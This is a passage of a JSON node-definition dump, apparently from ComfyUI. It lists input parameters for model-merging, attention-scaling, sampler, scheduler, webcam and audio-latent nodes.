"blocks.4.", "blocks.5.", "blocks.6.", "blocks.7.", "blocks.8.", "blocks.9.", "blocks.10.", "blocks.11.", "blocks.12.", "blocks.13.", "blocks.14.", "blocks.15.", "blocks.16.", "blocks.17.", "blocks.18.", "blocks.19.", "blocks.20.", "blocks.21.", "blocks.22.", "blocks.23.", "blocks.24.", "blocks.25.", "blocks.26.", "blocks.27.", "final_layer."]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelMergeCosmosPredict2_2B", "display_name": "ModelMergeCosmosPredict2_2B", "description": "", "python_module": "comfy_extras.nodes_model_merging_model_specific", "category": "model/merging/model specific", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelMergeCosmosPredict2_14B": {"input": {"required": {"model1": ["MODEL"], "model2": ["MODEL"], "pos_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "x_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "t_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "t_embedding_norm.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.2.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.3.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.4.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.5.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.6.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.7.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.8.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.9.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.10.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.11.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.12.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.13.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.14.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.15.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.16.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.17.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.18.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.19.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.20.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.21.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.22.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.23.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.24.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.25.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.26.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.27.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.28.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.29.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.30.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.31.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.32.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.33.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.34.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.35.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "final_layer.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model1", "model2", "pos_embedder.", "x_embedder.", "t_embedder.", "t_embedding_norm.", "blocks.0.", "blocks.1.", "blocks.2.", "blocks.3.", "blocks.4.", "blocks.5.", "blocks.6.", "blocks.7.", "blocks.8.", "blocks.9.", "blocks.10.", "blocks.11.", "blocks.12.", "blocks.13.", "blocks.14.", "blocks.15.", "blocks.16.", "blocks.17.", "blocks.18.", "blocks.19.", "blocks.20.", "blocks.21.", "blocks.22.", "blocks.23.", "blocks.24.", "blocks.25.", "blocks.26.", "blocks.27.", "blocks.28.", "blocks.29.", "blocks.30.", "blocks.31.", "blocks.32.", "blocks.33.", "blocks.34.", "blocks.35.", "final_layer."]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelMergeCosmosPredict2_14B", "display_name": "ModelMergeCosmosPredict2_14B", "description": "", "python_module": "comfy_extras.nodes_model_merging_model_specific", "category": "model/merging/model specific", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelMergeQwenImage": {"input": {"required": {"model1": ["MODEL"], "model2": ["MODEL"], "pos_embeds.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "img_in.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "txt_norm.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "txt_in.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "time_text_embed.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.2.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.3.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.4.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.5.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.6.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.7.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.8.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.9.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.10.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.11.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.12.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.13.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.14.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.15.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.16.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.17.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.18.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.19.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.20.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.21.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.22.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.23.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.24.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.25.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.26.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.27.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.28.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.29.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.30.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.31.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.32.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.33.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.34.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.35.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.36.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.37.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.38.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.39.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.40.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.41.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.42.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.43.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.44.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.45.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.46.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.47.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.48.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.49.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.50.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.51.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.52.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.53.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.54.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.55.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.56.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.57.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.58.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.59.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "proj_out.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model1", "model2", "pos_embeds.", "img_in.", "txt_norm.", "txt_in.", "time_text_embed.", "transformer_blocks.0.", "transformer_blocks.1.", "transformer_blocks.2.", "transformer_blocks.3.", "transformer_blocks.4.", "transformer_blocks.5.", "transformer_blocks.6.", "transformer_blocks.7.", "transformer_blocks.8.", "transformer_blocks.9.", "transformer_blocks.10.", "transformer_blocks.11.", "transformer_blocks.12.", "transformer_blocks.13.", "transformer_blocks.14.", "transformer_blocks.15.", "transformer_blocks.16.", "transformer_blocks.17.", "transformer_blocks.18.", "transformer_blocks.19.", "transformer_blocks.20.", "transformer_blocks.21.", "transformer_blocks.22.", "transformer_blocks.23.", "transformer_blocks.24.", "transformer_blocks.25.", "transformer_blocks.26.", "transformer_blocks.27.", "transformer_blocks.28.", "transformer_blocks.29.", "transformer_blocks.30.", "transformer_blocks.31.", "transformer_blocks.32.", "transformer_blocks.33.", "transformer_blocks.34.", "transformer_blocks.35.", "transformer_blocks.36.", "transformer_blocks.37.", "transformer_blocks.38.", "transformer_blocks.39.", "transformer_blocks.40.", "transformer_blocks.41.", "transformer_blocks.42.", "transformer_blocks.43.", "transformer_blocks.44.", "transformer_blocks.45.", "transformer_blocks.46.", "transformer_blocks.47.", "transformer_blocks.48.", "transformer_blocks.49.", "transformer_blocks.50.", "transformer_blocks.51.", "transformer_blocks.52.", "transformer_blocks.53.", "transformer_blocks.54.", "transformer_blocks.55.", "transformer_blocks.56.", "transformer_blocks.57.", "transformer_blocks.58.", "transformer_blocks.59.", "proj_out."]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelMergeQwenImage", "display_name": "ModelMergeQwenImage", "description": "", "python_module": "comfy_extras.nodes_model_merging_model_specific", "category": "model/merging/model specific", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelMergeKrea2": {"input": {"required": {"model1": ["MODEL"], "model2": ["MODEL"], "first.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "tmlp.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "txtmlp.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "tproj.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "txtfusion.layerwise_blocks.0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "txtfusion.layerwise_blocks.1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "txtfusion.projector.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "txtfusion.refiner_blocks.0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "txtfusion.refiner_blocks.1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.2.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.3.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.4.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.5.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.6.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.7.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.8.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.9.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.10.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.11.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.12.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.13.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.14.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.15.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.16.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.17.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.18.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.19.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.20.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.21.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.22.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.23.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.24.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.25.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.26.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.27.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "last.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model1", "model2", "first.", "tmlp.", "txtmlp.", "tproj.", "txtfusion.layerwise_blocks.0.", "txtfusion.layerwise_blocks.1.", "txtfusion.projector.", "txtfusion.refiner_blocks.0.", "txtfusion.refiner_blocks.1.", "blocks.0.", "blocks.1.", "blocks.2.", "blocks.3.", "blocks.4.", "blocks.5.", "blocks.6.", "blocks.7.", "blocks.8.", "blocks.9.", "blocks.10.", "blocks.11.", "blocks.12.", "blocks.13.", "blocks.14.", "blocks.15.", "blocks.16.", "blocks.17.", "blocks.18.", "blocks.19.", "blocks.20.", "blocks.21.", "blocks.22.", "blocks.23.", "blocks.24.", "blocks.25.", "blocks.26.", "blocks.27.", "last."]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelMergeKrea2", "display_name": "ModelMergeKrea2", "description": "", "python_module": "comfy_extras.nodes_model_merging_model_specific", "category": "model/merging/model specific", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "PerturbedAttentionGuidance": {"input": {"required": {"model": ["MODEL", {}], "scale": ["FLOAT", {"default": 3.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": 0.01}]}}, "input_order": {"required": ["model", "scale"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "PerturbedAttentionGuidance", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_pag", "category": "model/patch/unet", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "AlignYourStepsScheduler": {"input": {"required": {"model_type": ["COMBO", {"multiselect": false, "options": ["SD1", "SDXL", "SVD"]}], "steps": ["INT", {"default": 10, "min": 1, "max": 10000}], "denoise": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model_type", "steps", "denoise"]}, "is_input_list": false, "output": ["SIGMAS"], "output_is_list": [false], "output_name": ["SIGMAS"], "output_tooltips": [null], "output_matchtypes": null, "name": "AlignYourStepsScheduler", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_align_your_steps", "category": "model/sampling/schedulers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["AYS scheduler"], "essentials_category": null, "has_intermediate_output": false}, "UNetSelfAttentionMultiply": {"input": {"required": {"model": ["MODEL", {}], "q": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "k": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "v": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "out": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}]}}, "input_order": {"required": ["model", "q", "k", "v", "out"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "UNetSelfAttentionMultiply", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_attention_multiply", "category": "experimental/attention_experiments", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "UNetCrossAttentionMultiply": {"input": {"required": {"model": ["MODEL", {}], "q": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "k": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "v": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "out": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}]}}, "input_order": {"required": ["model", "q", "k", "v", "out"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "UNetCrossAttentionMultiply", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_attention_multiply", "category": "experimental/attention_experiments", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "CLIPAttentionMultiply": {"input": {"required": {"clip": ["CLIP", {}], "q": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "k": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "v": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "out": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}]}}, "input_order": {"required": ["clip", "q", "k", "v", "out"]}, "is_input_list": false, "output": ["CLIP"], "output_is_list": [false], "output_name": ["CLIP"], "output_tooltips": [null], "output_matchtypes": null, "name": "CLIPAttentionMultiply", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_attention_multiply", "category": "experimental/attention_experiments", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["clip attention scale", "text encoder attention"], "essentials_category": null, "has_intermediate_output": false}, "UNetTemporalAttentionMultiply": {"input": {"required": {"model": ["MODEL", {}], "self_structural": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "self_temporal": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "cross_structural": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "cross_temporal": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}]}}, "input_order": {"required": ["model", "self_structural", "self_temporal", "cross_structural", "cross_temporal"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "UNetTemporalAttentionMultiply", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_attention_multiply", "category": "experimental/attention_experiments", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SamplerLCMUpscale": {"input": {"required": {"scale_ratio": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.1, "max": 20.0, "step": 0.01}], "scale_steps": ["INT", {"advanced": true, "default": -1, "min": -1, "max": 1000, "step": 1}], "upscale_method": ["COMBO", {"multiselect": false, "options": ["bislerp", "nearest-exact", "bilinear", "area", "bicubic"]}]}}, "input_order": {"required": ["scale_ratio", "scale_steps", "upscale_method"]}, "is_input_list": false, "output": ["SAMPLER"], "output_is_list": [false], "output_name": ["SAMPLER"], "output_tooltips": [null], "output_matchtypes": null, "name": "SamplerLCMUpscale", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_advanced_samplers", "category": "model/sampling/samplers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SamplerLCM": {"input": {"required": {"s_noise": ["FLOAT", {"tooltip": "Per-step noise multiplier at the first step (1.0 = match training).", "default": 1.0, "min": 0.0, "max": 64.0, "step": 0.01}], "s_noise_end": ["FLOAT", {"tooltip": "Per-step noise multiplier at the last step. Set equal to s_noise for a constant schedule.", "default": 1.0, "min": 0.0, "max": 64.0, "step": 0.01}], "noise_clip_std": ["FLOAT", {"tooltip": "Clamp per-step noise to +/- N*std. 0 disables.", "default": 0.0, "min": 0.0, "max": 10.0, "step": 0.01}]}}, "input_order": {"required": ["s_noise", "s_noise_end", "noise_clip_std"]}, "is_input_list": false, "output": ["SAMPLER"], "output_is_list": [false], "output_name": ["SAMPLER"], "output_tooltips": [null], "output_matchtypes": null, "name": "SamplerLCM", "display_name": null, "description": "LCM sampler with tunable per-step noise. s_noise is a multiplier on the model's training noise scale", "python_module": "comfy_extras.nodes_advanced_samplers", "category": "model/sampling/samplers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SamplerEulerCFGpp": {"input": {"required": {"version": ["COMBO", {"advanced": true, "multiselect": false, "options": ["regular", "alternative"]}]}}, "input_order": {"required": ["version"]}, "is_input_list": false, "output": ["SAMPLER"], "output_is_list": [false], "output_name": ["SAMPLER"], "output_tooltips": [null], "output_matchtypes": null, "name": "SamplerEulerCFGpp", "display_name": "SamplerEulerCFG++", "description": "", "python_module": "comfy_extras.nodes_advanced_samplers", "category": "experimental", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WebcamCapture": {"input": {"required": {"image": ["WEBCAM", {}], "width": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 1}], "height": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 1}], "capture_on_queue": ["BOOLEAN", {"default": true}]}}, "input_order": {"required": ["image", "width", "height", "capture_on_queue"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "name": "WebcamCapture", "display_name": "Webcam Capture", "description": "", "python_module": "comfy_extras.nodes_webcam", "category": "image", "output_node": false, "has_intermediate_output": false, "search_aliases": ["camera input", "live capture", "camera feed", "snapshot"], "essentials_category": "Basics"}, "EmptyLatentAudio": {"input": {"required": {"seconds": ["FLOAT", {"default": 47.6, "min": 1.0, "max": 1000.0, "step": 0.1}], "batch_size": ["INT", {"tooltip": "The number of latent images in the batch.", "default": 1, "min": 1, "max": 4096}]}}, "input_order": {"required": ["seconds", "batch_size"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "EmptyLatentAudio", "display_name": "Empty Latent Audio", "description": "", "python_module": "comfy_extras.nodes_audio", "category": "model/latent", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": "Audio", "has_intermediate_output": false}, "VAEEncodeAudio": {"input": {"required": {"audio": ["AUDIO", {}], "vae": ["VAE", {}]}}, "input_order": {"required": ["audio", "vae"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "VAEEncodeAudio", "display_name": "VAE Encode Audio", "description": "", "python_module": "comfy_extras.nodes_audio", "category": "model/latent", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["audio to latent"], "essentials_category": null, "has_intermediate_output": false}, "VAEDecodeAudio": {"input": {"required": {"samples": 